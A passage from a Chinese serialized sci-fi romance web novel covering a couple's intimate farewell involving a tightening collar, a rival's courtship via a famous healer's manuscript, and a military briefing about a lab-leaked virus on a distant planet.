气氛温馨，江寻此刻却感到有一丝寒意悄悄爬上了自己的背脊。这件事，绝不像陆厌离所说的那么简单。 他沉默了一下，没有将自己的担忧在面上表露出来，平静地点了点头，将威尔逊将军的联系方式保存了起来：“好，我知道了。明天出发的话……晚上我再给你做一次疏导吧。” 出乎意料地，陆厌离摇了摇头，抬起眼看向他，碧绿的眼眸在柔和的灯光下显得格外的柔软深情：“不用了，今晚……我只想和你安安静静呆在一起。” “好吧……”江寻想了想，应了下来，经过自己这一段时间的调理，如今陆厌离身上已经没有什么大的隐患，精神图景的问题，需要长年累月的调养性疏导，多一天少一天，差异并不会太大。 “那，出发的准备都做好了吗？”江寻接着问道。 “嗯……差不多了。”陆厌离抬眼觑了江寻一眼，含糊地应了一声，没有直接回答，耳根却有些红了。犹豫了一下，终是放下了手中的餐具，拿出了一个三寸见方的黑色绒盒，放在桌子上，轻轻推到江寻面前。 江寻被他这神神秘秘的举动勾起了好奇，挪开了面前的餐盘，拿过那只绒盒。手指在上面摩挲一番，脸色却有些微妙。 这盒子看起来实在太像首饰盒了，若不是尺寸偏大，江寻简直要以为这是一个戒指盒。 可是……江寻抬眼奇怪地看一眼陆厌离，出发在即，他为什么这时候给自己送礼物？自己一个大男人，也不需要什么首饰呀。 未想太多，江寻掀开盒盖向内看去。黑色的丝绒内衬上，放着的却是一个看起来普普通通的手环。江寻疑惑地抬眼又望了陆厌离一眼，从盒子里拎出手环，放在掌心细细端详。 这手环，外观像是一块手表，中央的方形屏幕是一块微型显示面板，侧面，有着几个小巧的按钮。单看这个外形实在猜不出是什么东西，但是看着这个模样，江寻总感觉有些眼熟…… 陆厌离起身走到江寻面前单膝跪下，抿了抿唇，似乎有些紧张。他拉起江寻的手珍重地托在自己掌心，将这个手环小心翼翼地戴在了他的手腕上。 “这是……？”江寻一怔，为陆厌离如此郑重的举动感到惊讶。低头打量着手腕上的东西，面露困惑。 陆厌离没有马上回答，而是深吸了一口气，像是终于鼓足了勇气，伸手轻轻解开自己军服的领扣，将领口向着江寻敞开，露出了锁骨及一截苍白的脖颈。 面前的景象令江寻的呼吸猛地一滞。 只见陆厌离线条分明的脖颈上，赫然戴着一个他无比熟悉的东西——当年他在寂静星上亲手为小树打造，又在重逢时还给了他的那个项圈！ 项圈的主体部分仍是那个小小的黑色晶体铭牌与那颗用特殊金属制成的铃铛。而后面的颈圈明显是新配的，与他穿在身上的军服是同样的黑色哑光质地，就算不小心露了出来也几乎看不出来。材质看上去很结实，紧紧贴合在陆厌离冷白的皮肤上。 黑色的颈圈，白色的皮肤，闪着微光的晶体铭牌，与他脖子上几道青色血管，寥寥几种对比强烈的色彩，偏偏都集中在脖颈这种致命要害处，形成了一种极具冲击力的画面。令唯一的观者瞬间心跳失了衡，喉咙发干，连声音都带上了一丝微不可察的沙哑：“你……怎么戴着这个？” 陆厌离完全跪了下来，仰头看着坐在面前的江寻，膝行一步，伸出手臂环抱住他的腰，深深喘了一口气，将脸埋在了他胸前，声音被闷在了江寻的怀抱里：“这是你给我的……我想要一直戴着，我永远都是你的。” 他在江寻怀里抬起了头来，看向他的眼神里充满了毫不掩饰的无限眷恋：“原本的项圈只有猫形能戴，不方便。我本来想留着自己慢慢改的，但马上要出征了，时间上来不及……只好今天去定制战甲的时候，找了铸星的工程师帮忙……” 江寻听到“铸星”这个名字，虽然不是他自己去的，脸颊也有些发烫起来。 作为塔下属的联盟最高级别装备研发中心，那里向来是专为顶级哨兵定制尖端装备的科研机构。 制造这种没什么科技含量的小东西当然不在话下，但是，让那些最顶尖的工程师去帮他制造这种东西……他几乎能想象得到，当时对方会是什么样的表情。 “你……你怎么去那种地方做这种东西……”江寻看着陆厌离，有些尴尬地低语。 陆厌离小声说道：“是挺不好意思的……”想到今天拿着他的铃铛和铭牌，听着他的定制要求，眼神怪异地看着他的老工程师，他的脸更红了，“但是马上就要出征了，我想在出发的时候戴上它……只有一天时间，我来不及去别的地方找人做了。” 他抬起头来，眸中闪着光，眼神温柔地望着江寻，献宝一般给他介绍起这个新项圈上的功能：“我在项圈上加装了微型定位芯片，以后无论我在哪里，你都可以通过这个手环看到我的位置。” “颈圈的皮带部分我换成了特殊记忆材质，可以随着我的体型变化自动伸缩，这样，不管我是使用拟化状态还是人形本体，都可以戴着它了。而且……”他的声音变得更低，眼神也有些羞赧地闪躲了起来。握住江寻戴着手环的那只手，引他去摸侧面的一个按钮，“以前你用它呼唤我，都是用铃声。但是我人形的时候……再响铃有点奇怪，所以我改了一下……” 他带着江寻的手指，摸索着按下了侧面的那个按钮。 只听几不可闻的“嘶”一声轻响，陆厌离脖子上的项圈皮带骤然收缩了一小圈，紧紧勒住了他的脖颈。 “呃……”陆厌离被猛然收紧的项圈勒得控制不住地微微仰起了头，喉结艰难地滚动着，发出一声压抑的闷哼。白皙淡然的脸颊瞬间漫上了绯红，表情有些痛苦，又夹杂着一些奇异的愉悦，紧紧盯着江寻的双眼，变得水润了起来。 他大喘了一口气，缓了一下，看向江寻的眼神里几乎带着虔诚般的依赖，哑着嗓子低声说：“就像这样……只要你按一下，项圈就会收紧，这时我就知道，是你在找我了。” 江寻被他这番动作惊住，竟一时间没反应过来，直到看见他的脖子被勒得发白，才猛地回过了神来。心疼与担忧充斥心间，他的眉头马上皱了起来，赶忙伸手就想要去解开束缚在他脖子上的项圈：“你怎么能这么改，快松开！会不会疼？” 可陆厌离却一把抓住了他的手，阻止了他的动作。 反而将他的手拉了过来，轻轻按在自己被项圈束缚住的脖颈上，缓缓抚摸起来。 冰凉的皮带之下，苍白的血肉被紧紧箍住，一黑一白之间强烈的颜色对比惊心动魄。 皮带的力量压在颈间的血管上，连脉搏的跳动都震颤着指尖。 陆厌离近乎虔诚地仰望着江寻，声音低沉而沙哑，不似他平日里的清朗，话语里，透着一种奇异的渴望： “只要是你给的……哪怕是疼痛，我也甘之如饴。” 江寻的指尖在听到这句话时猛地一蜷，呼吸骤然粗重了起来。陆厌离的话语好似一副最有效的催化剂，令弥漫在二人之间本就暧昧飘忽的空气瞬间黏腻了起来。 江寻看着陆厌离此刻跪地仰望的样子。 他还穿着那身被自己夸奖过的少将军服，此刻却跪在自己面前抱着自己的膝盖仰视着他。他甚至能透过自己薄薄的家居裤，感受到对方军服挺括面料上的缝线。 他扬起的脖颈底色苍白，却被中间那道吸收了一切光线的黑色项圈紧紧勒着，项圈周围的皮肤已经泛起了一层艳色。他脸上的表情有些奇异，混杂着虔诚、依赖、渴望、奉献、愉悦还有一些江寻也看不懂的偏执狂热，那双氤氲着水汽的双眸中，满满地只装着一个人。 江寻的视线无法控制地被这双盛满了自己的眼睛紧紧绞缠着，恍惚间，只觉空气也渐渐稀薄了起来，耳畔的心跳声越来越大，直至震颤了耳膜，擂鼓般撞击着胸膛。 他的手指不自觉地在那段脖颈上游走起来，指尖划过之处便会引起一阵细碎的颤抖与呜咽，可手下皮肉的主人却丝毫也没有躲闪的意思，反而将自己更多地奉献出去。 江寻忽觉喉间干渴，忍不住吞下一口唾沫，被眼前的人表现出来的情态触动，心旌摇曳。越来越火热的视线，仿佛火焰般灼烧在了陆厌离身上。 陆厌离的眼眸越发湿润，喉间溢出一声极轻的呜咽，像是在邀请，又像是在求饶。本能地屏住了呼吸，高高扬起下巴，将自己的脖颈更多地暴露出来，如同一只引颈就戮的天鹅，将自己最脆弱的要害完全展现在江寻面前，任由他赏玩。 然而，他的身体却呈现出了完全矛盾的反应，双腿不自觉地紧紧并拢，肩背也越弓越低，瑟缩着想要向后挪动，仿佛对此刻的境况既期待渴望，又畏惧瑟缩。 可这种极致的顺从与细微的挣扎放在他的身上，在此刻也构成了一种无法言喻的诱惑。 江寻只觉得一股战栗由尾椎飞速顺着脊椎蹿升上来，直冲颅顶，理智的弦悄然崩断，淡然无争的皮囊被内里潜藏着的野兽撕碎。他鬼使神差地，将抚摸着那条项圈的手指生硬地挤进了陆厌离的喉结与颈圈之间。 本就绷紧的项圈因此收束得更紧，陆厌离猛地吸了一口气，项圈更深地嵌进了颈部的皮肉里，带来更加清晰的束缚感，箍得他喉间嗬嗬作响，大口大口地呼吸着，几乎喘不上气来。 可江寻的动作还没完，只见他手指向内一屈，稍稍用力，扯着手下那根紧绷的带子猛地向前一拉。 与此同时，萦绕在他周身，始终平稳安然的精神力也张开了獠牙，骤然扩散开来，一口将面前的陆厌离吞噬了下去。 “呃嗯……！”陆厌离被这股大力拉得一下子半趴在了江寻身上，仰着的面庞却被直直拉到了江寻压下来的面孔前面。近在咫尺的距离，轰然包裹过来的精神力，令他的脸颊和脖颈瞬间红透。浑身如同被抽去了骨头般软了下来，无力地跌入了江寻怀中，整个身体剧烈震颤了起来。 就在他倒过来的瞬间，江寻清晰地感觉到，对方那层端肃的军装下，一股不容忽视的热度与力量，顺着软倒下来的动作猝不及防地撞进了他的感知里。 而陆厌离此刻，已经再无心力去顾及其他地方。他整个上半身都压在江寻的腿上，急促地喘息着，仰起的脖子青筋暴起，几乎完全向后弯折了过去。剧烈的刺激，让他的情绪激动得失去了部分自控，唇角都控制不住地溢出了一丝晶莹的湿痕。 可这幅狼狈失控的模样，却令此刻的江寻着了迷，他慢慢俯下身来，一寸一寸凑近那张情难自抑的面孔。 一手捏住陆厌离的下巴，用拇指沾了沾他的唇角，将湿痕抹开。随即，毫不犹豫地低下头去，伸出舌尖，轻轻舔过他的唇角，将那一点点咸湿掠夺。 这个举动，如同一支绚烂的烟花，瞬间点燃了陆厌离的理智。 他浑身剧震，瞳孔猛然扩散一瞬，难以置信的情绪扭曲了面容，那双水光潋滟的眼眸里，瞬间爆发出巨大的惊喜。整个人石化在了原地，似是生怕自己一动便会让这美梦破碎。 江寻看着他这副模样，心中最后一丝犹豫也在刹那间烟消云散。 他低低地笑了一声，那暗哑的笑声里，有着他自己也从未发现过的占有与欲望。 什么怜惜、爱宠，在这一刻统统被他抛掷在了脑后。他彻底地释放出了心底暗藏的野兽，手指再次毫不留情地用力，将陆厌离的脸拉向自己。 然后，在陆厌离激动到颤抖的注视下，低下头，凶狠地覆上了那双微微张开的甜美唇瓣。 久久，津液交融，唇齿纠缠—— 作者有话说：[爆哭]审了一早上了，改了好多回了，大老爷们，本章两个主人公没有任何脖子以下亲密接触啊，连手都没牵一个啊，就亲了一下，就亲了一下，就亲了一下。 第180章 江寻是在一道存在感极强的视线中醒来的。 他迷迷糊糊地将手背搭在眼睛上， 遮掩住明亮的晨光，却对上了一双近在咫尺的翠色眼眸。 陆厌离不知道什么时候已经起床变回了人形，这时， 正带着一副满足的微笑趴在床边， 眼睛一眨不眨地望着他，那专注而缱绻的眼神， 仿佛要将他的面容刻进脑海深处。 见江寻终于醒了过来， 他的眼中骤然迸发出一道喜悦的光彩，嘴角上扬，绽出一个纯粹而明亮的笑容。那股子快乐满足的情绪，毫不遮掩地展露在了江寻面前。 可笑容刚起，他又像是想起了什么，有些害怕， 又有些担忧，眼神变得小心翼翼起来。 与江寻对视良久， 似乎是终于从对方的目光中汲取到了力量，重新鼓起了勇气。可动作里还是带着三分忐忑， 七分试探， 慢慢地，一点一点地向着江寻凑近了过来。 江寻看着他这副想要确认，又怕是自己幻觉的忐忑模样， 心中酥软一片， 刚醒的朦胧睡意彻底消散，唇角不由自主地勾起了一抹浅笑。 看着陆厌离在那里一点一点磨蹭，好像随时准备逃跑的样子，江寻轻笑一声，没有丝毫犹豫地主动侧过头迎了上去。在他不可置信的惊喜眼神中， 轻轻含住了那两片微凉的薄唇。 再一次的亲吻，终于让陆厌离确定了自己记忆中的一切，不是出于他臆想的幻梦。 可这一刻，他还是紧张得不敢动弹，几乎忘记了呼吸，整个人僵在了那里。直到唇上那抹温度离开，这才从凝固中复苏了过来，重新获得了氧气，略有些急促地喘息起来。 缓过了气，看着江寻那始终带着笑意的面容，巨大的喜悦终于毫无保留地在他眼中炸开。他猛地伸出脖子，冲着江寻的嘴唇再次贴了过去，像是小猫般伸出舌尖，在他的唇上不住舔舐起来，一边舔着，一边快乐地笑出声来，整个人被一种近乎晕眩的幸福感完全充溢。 感受到他身上那份毫无保留的快乐，江寻的心中也暖洋洋的，忍不住想要回应这份心意。 可这个充满热情地凑过来，自己却毫无经验的家伙，只知道开开心心地在他唇瓣上不停啄吻，这种浅尝辄止的触碰，对如今刚刚尝到点甜头的江寻来说，无异于隔靴搔痒，非但没能缓解他从心底里漫上来的那股痒意，反而让这股欲念变本加厉了起来。 他的呼吸越来越沉重，又等待了片刻，见对方还是一副找不到重点的样子，终于忍不住叹了口气，半坐起身来，一把抓住陆厌离的衣领将他拉了过来，按在枕头上，托起他的下巴，一低头，彻底堵住了他的呜咽。 勾舔慢挑，耳鬓厮磨。 开始时，陆厌离还手足无措，只会屏住呼吸，目光湿润地望着身前的江寻，在他的攻势下毫无还手之力。 没过一会儿，在江寻的引导下，终于慢慢学会了呼吸，开始尝试着生涩又虔诚地小心回应。 到绞缠着的舌尖终于分开时，已经彻底红了脸动了心，学会了追上去讨要怜爱。 江寻轻笑一声，也用实际行动鼓励了一下善于求索的好学生。 好半晌，两人才在时钟的报时声中，停下了这番缠绵。 之后，不论是洗漱还是做早餐的时候，陆厌离都一直腻在江寻身边，一个眼神的对视就会凑上去讨一个亲吻。 直至两人都换好了衣服准备出门，刚站在玄关前，又忍不住双双倒在了大门上，翻来覆去一番唇齿交缠。 眼看着再不走就要误了去军部报到的时间了，江寻终于用力推了推身前的人，卡着陆厌离的后脖颈把他拉了开来，抵在他的额头上，有些不舍地叮嘱了起来。 “呼……好了，你该走了……”刚说了一句，又没忍住低头啄吻了一下，这才接着道，“这一次去的地方那么远，一路上……注意安全，万事小心。” 陆厌离眼中的不舍更重，他甚至都开始后悔为什么要在执行任务之前与江寻互诉衷肠，昨日刚刚确认了对方的心意，今天就要离开，这一段远行的日子里，不知该有多么难熬。 “我会尽快回来的。”他闷着声音承诺道，一双眼睛始终凝注在江寻身上，似乎怎么看都看不够，话语里满是眷恋。 “嗯，我在家等着你。”江寻最后抚了抚他的脸庞，帮他重新整理好身上的衣物，终于推着陆厌离出了大门。 之后，陆厌离还要先去铸星中心领取昨天定制的战斗装备，再前往星枢群岛上空的空港，才能搭乘专用穿梭舰前往遥远的M94星系，时间十分紧迫。 出了家门，陆厌离终于再次变回了那个可靠的联盟之星，他深深看了江寻一眼，对他露出最后一个微笑，而后毅然转身，驾驶着悬浮车绝尘而去。 江寻站在原地，看着那道渐渐远去的尾焰，轻轻叹了口气。 门在身后轻轻闭起，刚才还充满了浓情蜜意的公寓瞬间冷清了下来。江寻抬眼看向这间已经住了很久的小公寓，心头忽觉空空荡荡，不禁黯然失笑。不过短短一段时日，他竟然已经如此不习惯独自一人了。 看了看时钟，取了今天需要用到的课本和笔记，朝着圣所的方向走去。 * 平静的校园，在上午的时候还维持着让江寻舒服的宁静秩序。然而，当他午休时，独自一人出现在食堂门口时，还是不免引起了一些细微的骚动。 许多诧异的目光或明或暗地从他身上扫过，在他身边寻找着那个这段时间以来一直形影不离的身影。直至确定陆厌离今天真的没有出现，数道目光顿时露出了些别样的心思，模糊不清的窃窃私语声，从聚集在一起的人群中飘了出来。 “……就他一个人……” “哨兵学院那边……也没看到……” “不会是……吵架了？” “这才多久？难道……” “还是说……夏因这边又有什么新情况了？” 眉飞色舞间，又是许多个意味不明的猜测在私下里流传了开来。 但是今时不同往日，江寻每每遇困，都能找到更好、地位更高的哨兵，终于令所有人对他忌惮了起来。前阵子陆厌离时时刻刻表现出来的对他的重视，更是被众人看在眼里。 因此，即便因为这意外的景象，令许多人心中充满了好奇与种种阴暗的揣度，也没人再敢像以前那样，公然把这些猜测摆到江寻面前去。 而江寻，也向来不在意这种对自己的生活毫无影响的捕风捉影。丝毫不管那些落在身上的各色目光，他进了食堂便径直走向了点餐区。 视线掠过柜台后面琳琅满目的菜品，下意识地就把手伸向了一盘卖相十分好看的香煎银鳕鱼。 盘子都端起了一半，才猛然回过神来顿住了动作。 看了看手中的菜盘，随即好笑地摇了摇头，重新放了下来，将手伸向了另一边一份自己以前常吃的红烧套餐。 端着重新点好的菜品，找了个角落位置坐下，这才拿起餐具，安静地吃起饭来。 食材新鲜，味道依旧熟悉，可江寻吃饭的动作却越来越慢。没吃几口，便觉索然无味，终于还是停了下来。 这一段时间与陆厌离一直在一起吃饭，早已习惯了清淡饮食的味蕾，甚至都已经吃不惯以前的饭菜了。 放下筷子，看着餐盘里几乎没怎么动过的食物，轻轻叹息一声。 只是一个上午而已。 他竟然已经开始想念那个粘人的家伙了。 随意又吃了几口饭，江寻便彻底失去了食欲。干脆一边散步一边往星环大厅的方向走去，打算在下午上课之前再预习一会儿。 路过公告区，却见楼前的一块儿公告板前，已经围了不少人，正在热情地讨论着什么。 他不是爱凑热闹的性子，本打算直接略过人群，却在路过时，被几个飘过耳边的“愈灵殿”、“格伦博士”等关键词吸引，忍不住走近过去。 不必挤到最前面，只听着众人兴奋的议论声，江寻已经搞清楚了来龙去脉。 公告栏上展示着一则最新消息。 愈灵殿资深医师，曾经参与过多例高难度精神修复案例，在精神力创伤修复领域颇富盛名的格伦博士，将于明日莅临圣所举行一场专题讲座。 听着这个名字，江寻的心跳不由加快了几分。 这位格伦博士，不光自身理论、技术水平十分高超，亦是一位十分善于传道授业的导师。在被邀请前往愈灵殿加入最前沿的医疗项目之前，也曾经在圣所中执教过很长时间，著有好几部在精神创伤领域十分权威的著作。 对于江寻这个正在精神污染净化领域探索的新晋S级向导来说，对方的许多核心理论都拥有着十分重要的指导作用。几部著作也被他反复研读，如今能亲耳听到这位大师的讲座，无疑是一个极为难得的机会。 他几乎不用考虑，便定下了明日前去听课的行程。 第二天，他特意提前了半个小时前往讲座举办的星穹大厅，却没想到，还是低估了这位大师的号召力。 能容纳好几百人的大厅里，居然提前半个小时便已经座无虚席，他在后面几乎找了一圈，才在最靠近侧后方的边缘角落里找到了几个空位。 叹了口气，也不再迟疑，立刻上前坐下，生怕再等下去，连这几个位置也没有了。 又过了十分钟，连过道里都开始有学员驻足时，这位声名遐迩的大师终于迈着从容的步伐，出现在了众人面前。 江寻坐的位置实在是太偏僻了，别说看清这位教授的脸，他几乎连大屏幕上投影出来的课件都看不清。正为着此事遗憾，却听台上那位精神矍铄的格伦教授，在惯例的开场白后，目光在大厅中扫了扫，忽然顿了顿，微笑着开口，问出了出乎意料的一句话：“请问，有位在高级研修班中学习的夏因同学是否在场？” 江寻一愣，而现场也在一阵好奇的嗡嗡声中，在几个认得江寻样貌的同学带领下，将目光纷纷投注了过来。 见众人都扭过头来看向他的方向，江寻虽不明所以，可还是在众人好奇的目光中站了起来：“您好，格伦教授，我就是夏因。” 格伦教授似乎是眯起眼睛打量了江寻一番，随即便露出了和蔼的笑容，朝着他点了点头，又接着问道：“我听闻你在研修班的课程上表现十分优异，在理论研究与实操技术上也非常擅长。今天的讲座上会有一些高阶理论的实操演示环节，不知道你愿不愿意上台，在这节课上临时担当一下我的操作助手？” 听闻大师的邀请，江寻的眼睛瞬间一亮。 虽然他不知道这位格伦大师，是从哪里得知的他的名字，也不知道对方此时为什么要把他叫上去，但这位大师一直以来表现出的专业素养与道德品质都十分受到众人推崇。他也不觉得对方会在众目睽睽之下对自己有什么不利。在这样的情况下，他自然不会拒绝这种送上门来的大好机会。 “这是我的荣幸，格伦教授。”利落地应下，江寻立刻起身，在无数道羡慕感叹的目光中走上了讲台。 不负众望的，在接下来的一个半小时里，格伦教授贡献出了一堂质量绝高的讲座。 而站在台上的江寻，不仅以最佳的视角聆听到了教授的整场讲座，更是在实操环节，在最近的距离下，观察到了格伦教授每一个精妙的精神力操控细节。 讲座结束，大厅中的掌声久久不落，众多学员们又围着大师询问了许多困扰了他们很久的问题，才在诚挚的道谢后纷纷离场。 江寻在旁边听得如痴如醉，这些不同年级的同学们提出的问题，有的同样也困扰着他；有的是他以往以为自己已经理解，却没有理解到位的；还有的，更是他都未曾想到的。 一场讲座下来，他的收获远超最初的预期。 以往许多横亘在他心头的疑问都被一扫而空，关于精神力疗愈方面的知识，更是在这位大师高屋建瓴的引领下，被完美地串联到了一起，初步形成了一个完整的体系。 怀着感激的心情，江寻留到了最后，帮着格伦博士收拾好了课件资料，跟着他一起回到了后台休息室，这才真诚地向着这位可敬的大师道了谢。正想更进一步，询问一下对方是怎么知道自己名字，又是为何喊自己去做助手的。却听背后传来一道开门的声响，随即，面前的格伦博士也站起了身来，对着他背后的方向微微颔首致意。 江寻立刻回首望去，一个意想不到的人出现在了休息室门口。 “……伊莱阁下？”江寻一愣，叫出了对方的名字。 伊莱露出一个矜贵的微笑，向江寻点了点头。 随即，又对格伦博士优雅地欠了欠身：“博士，今天的讲座辛苦了。” “凡纳少爷太客气了，能重新回到圣所看到这些联盟的新一代，与年轻人们交流，我亦十分高兴。”格伦博士也礼貌地寒暄了两句。 随后，对着江寻露出一个和蔼的笑容，点了点头示意，便不再停留，直接告辞离开，将休息室里的空间，留给了江寻与伊莱两人。 此时，江寻也彻底明白了今天这番特殊待遇的由来。 搞不好……连这整个讲座都是被特别安排的？ 江寻看着伊莱，想到对方之前曾有过的大手笔，默默在心中猜测到。 伊莱没有特意去点明他在这场讲座背后，都做了哪些事。 随手关上了休息室的房门，便姿态闲适地走近了几步落座，同时伸手一引，请江寻坐在了自己对面的沙发上，这才温和地开了口：“夏因同学，听闻格伦博士在精神力创伤治愈的领域里，造诣非凡。今天的讲座，你感觉如何？” 不管伊莱的目的为何，江寻都无法否认今天他获得的收获，坦诚道：“格伦博士知识渊博，实操能力更是在整个联盟里都数一数二的。今天的讲座，真的令我受益匪浅。”说到这里，意有所指地看了看伊莱，“非常感谢您，伊莱阁下。” 伊莱一笑，理所当然地收下了这声感谢。他就知道和聪明人说话，不必解释更多。 “举手之劳而已，不必客气。”伊莱看似随意地说道，却在下一句就直接流露出了自己的意图，“不止是医疗领域，凡纳家一直以来与塔中的数个重要部门，乃至许多领域的大师都有着长期友好的合作关系。” 他深深看了江寻一眼，露出一个绅士的微笑：“不论你对哪个方面的知识感兴趣，凡纳家都十分荣幸能为自己的朋友提供一点小小的帮助。” 还是来了…… 听到伊莱的这番话，江寻丝毫没有感觉到意外，反而有种尘埃落定的叹息。 从对方查出他的另一个身份“希先生”开始，他就知道早晚都会有这一天。 不过，既然对方没有彻底挑明，那么对他来说，就还有许多转圜的余地。 江寻礼貌一笑，故意忽略了对方话语中的机锋，再次寒暄道谢：“凡纳家族果然气魄不凡，那我今日也算是沾到光了，非常感觉伊莱阁下。” 闻言，伊莱眉毛一挑，饶有兴致地上下打量起了江寻。而江寻也始终保持着得体的微笑，任他打量。 最终，还是伊莱首先收回了视线。 以面前之人和陆厌离之间的亲密关系，他也没打算一次就成功，今天只不过是来打个招呼罢了。 不过江寻的应对，的确让他另眼相看了起来。不论是因为什么，能在见到了凡纳家如此庞大的财富与资源人脉之后，还不卑不亢，这样的心性，才够资格成为他的伴侣。 这样的话，给他一些“小小的奖励”，也是理所应当的了。 想到这里，伊莱从怀中取出一个样式普通，边缘都已经有了许多磨损的旧笔记本，放在桌上，推向江寻。 “既然夏因同学对治愈方向这么感兴趣，那这份小礼物，就送给你吧。” 听到伊莱的话，江寻脸上的笑容一顿，下意识地便想再次拒绝，可当他的视线触到那笔记右下角一个不起眼的签名时，又瞬间怔住。 略显凌乱寒酸的笔记本上，一个书写得纤细优美的名字，已经在长久的岁月中变得模糊了起来，可这个名字所代表着的那个人，却始终在联盟中闪耀着——上任愈灵殿主，现存联盟中唯一一位真正的S级向导，全联盟精神力最强者，玛格丽特·洛怀桑女士。 看着那个名字，江寻的呼吸都几乎停滞了下来。玛格丽特殿主的手稿！这对于任何一位有志于精神医疗领域的向导来说，都是无法拒绝的诱惑。 他沉默片刻，目光在那本看似普普通通的笔记本上停留了许久，终于还是伸出了双手，郑重地收下了这份珍贵的“礼物”。 “伊莱阁下，非常感谢，这份礼物对我来说太珍贵了。” 伊莱看着江寻的选择，眉目舒展开来，深深看了他一眼，优雅颔首接受了他的谢意：“不用客气，你喜欢就好。它在我的身边也无法发挥出它的用途，不如把它交给更需要的人。那么，今天就到这里吧，我就不继续打扰了，期待与夏因同学的下次再会。” 达成了目的，他便悠然站起了身来，对着江寻留下最后一个微笑，转身离开了休息室。 直到那不紧不慢的脚步声渐渐从门外彻底消失，江寻这才轻吁口气，放松了下来。 这个人，无论是身份背景还是自身的实力城府，都远非以往纠缠过他的那些哨兵能比。与他的每一次交锋都令江寻有种心惊胆战的感觉，好似随时会被他抓住破绽一击毙命。 可同时，与他的几次会面却都令人极为舒服。他的随手之举都是旁人难以企及的大手笔，还一次比一次更加让人难以拒绝。偏偏他本人又从无任何逼迫的姿态。 他只是展现，向你展现出他所拥有的种种。不仅仅是金钱权势、能力地位，更有许多累世家族才能拥有的无形优势。 他从不必开口邀请，便能让人心甘情愿地上钩。 这样的人，这样的城府，这样的庞大势力，不得不令人心生畏惧。 可除了这些，更让江寻警惕的一点是——他出现的时间点太巧了。 就在陆厌离刚刚离开中央星，无法为他提供庇护的时候。 江寻不得不想到一种可能： 陆厌离的离开，是否也是他一手安排的呢？—— 作者有话说：纯情的两小只，只会亲亲[狗头叼玫瑰]《 》 180-185 第181章 另一边， 幽暗无光的太空中，一艘军用高速穿梭舰，正在不断通过太空枢纽跃迁， 如一支利箭般向着遥远的M94星系方向急射而去。 舰身在突破位于中央星系最边缘的一个迁跃通道后， 轻微震颤了一下，随后迅速微调了一下方向， 进入平稳航行状态。 舰舱内， 闪烁着的橙色警示灯在一连串电子音播报后渐次熄灭，安全带自动解锁，陆厌离从座位上站起，活动了一下因长时间保持固定姿势而有些僵硬的身体。 “距离目的地还需要行驶多长时间？”陆厌离扭头看向同样放松下来的机组工作人员。 “少将，大概还需要十一个星时左右，我们将于明早六点二十分左右进入M94星系， 八点左右到达HD-187号行星绿洲星。”依然坐在操作台上的舰长回答。 陆厌离点了点头，透过舷窗向外看去。窗外一片空荡， 已经看不到其他同行者，中央星系璀璨的光影被他们远远抛在了身后， 而他与江寻之间的距离， 也随着时间的流逝越来越远，让他的心中不由自主地开始烦乱起来。 轻叹了一口气，陆厌离暂时排除掉其他的杂念， 先把注意力集中在了这次的任务上。沉吟片刻， 低头打开终端，向一个人发出了通讯请求。 通讯请求还没响几声，就被接通了。光屏在陆厌离眼前亮起，一头如火般绚烂的红色短发，映入了他的眼帘。 “呦， 稀客呀，陆厌离。”阿克塞尔眉毛一挑，那张轮廓分明的脸上便露出了一个不羁的笑容来。当他打量了一下光屏这边陆厌离身后的环境后，立刻露出了一个明了的表情。 “已经在过来的路上了？” “对，明天早上就到M94星系了。”陆厌离点了点头，此时，他也看清了对方所在的军事基地，“你现在就在第九军区？” “当然，”阿克塞尔整个人向后一倒，双臂环抱，再开口时，语气里带着明显的不满，“这个任务是怎么回事？这里明明是我们第九军团的辖区，事情报上来以后老子就开始拟作战计划了，就等着在上面走个过场，接了任务就带队出发。结果任务通知下来，执行人居然被直接指定成了你？我明明就在这里，雅典娜怎么会把任务指派给还在中央星的你去做？” 听到阿克塞尔的话，陆厌离心中的疑虑更深了一层，沉吟片刻，向着阿克塞尔解释道：“具体的原因我也不清楚，但是我和威尔逊将军也觉得这次的任务指派得有些蹊跷。这任务甚至都没有经过军部分配，越过威尔逊将军直接指派给了我。不知道这背后是谁的手笔。” 一听陆厌离的话，阿克塞尔眼睛微眯，也察觉到了其中隐藏的不寻常。 “调查的事，等把这次的任务解决了再说吧。”陆厌离深吸一口气，表情严肃了起来，“阿克塞尔，关于这个实验室和绿洲星的情报，你都知道些什么？” 说起了正事，阿克塞尔也认真起来：“这个绿洲星当地的环境总体和其他宜居星差不多，就是热得要命，空气也很潮，那边的人都崇尚自然生态环境，就连城市里植被也特别茂盛。目前那边受到联盟官方承认的政体只有一个，老大是星球总督，好像姓列夫吧。” “整个星球的居民基本都集中在一个国家里，常住人口大概在三亿左右。那里的环境特别适合植物生长，所以支柱产业就是各种生物公司和食品公司。大部分居民也都在这些公司里工作。出事的这个生物实验室，属于一个名叫‘创生科技’的私有公司，这公司背后的资金规模很大，技术规格也很高，听说背后的老板在联盟里背景很深，具体不知道是谁。” 介绍完大体状况，他顿了顿，语气中染上了一丝冷意：“大概一个月前，实验室附近的一个当地村落里爆发了恶性瘟疫，几天的时间，全村人就全部死绝了，连豢养的牲畜都没有幸免，还是一个住在城里的子女联系不上父母报了警，这才把这件事爆了出来。” “事情被底下的人汇报上来以后，上面马上就派了人介入调查，发现这种瘟疫是一种传染性极高的致命孢子病毒，而这种病毒最初的携带者，是一个曾经去这个实验室做过药物试验的志愿者。” 阿克塞尔撇了撇嘴：“现在技术人员推测，这种已经泄露出来的病毒大概还不是完全体，这次的泄露事件应该是一个意外。但是这个实验室正在搞高危非法实验是没跑了。” 陆厌离的脸色沉了下来，沉声道：“那现在情况怎么样？任务通报上标明的威胁性是星球级，处理这种级别的病毒，我们当地驻扎的分部人手不够吧？这边政府派人来协助了吗？” 阿克塞尔的声音更低了些：“现在麻烦就在这里！我们之前派人和当地政府交涉时，他们那边几个关键部门的部长态度都非常暧昧，即使我们已经给他们出示了病毒检测报告，这件事也没有得到重视，反而推三阻四的，像是在刻意拖延或是包庇。不知道他们和这个实验室有什么关系。” 他抬眼看了看陆厌离，再出口时语气里已经带了些警告：“你这次任务，我估计不会太顺利，到时候当地的政府还不知道是什么态度，你自己小心。” 陆厌离点了点头，心中对于这次任务的难度有了些心理准备。 正事交代完毕，屏幕那边的阿克塞尔托着下巴打量了陆厌离一番，脸上刚刚保持了一会儿的严肃神情，瞬间一扫而空，转而变得戏谑了起来：“话说，你现在这个状态挺好的啊……找着你那个小向导了？” “嗯……？”陆厌离有些发懵地抬头，被这个突然跳转的话题弄得有些没反应过来，待看清了对面阿克塞尔脸上的揶揄，耳根一下子热了起来。 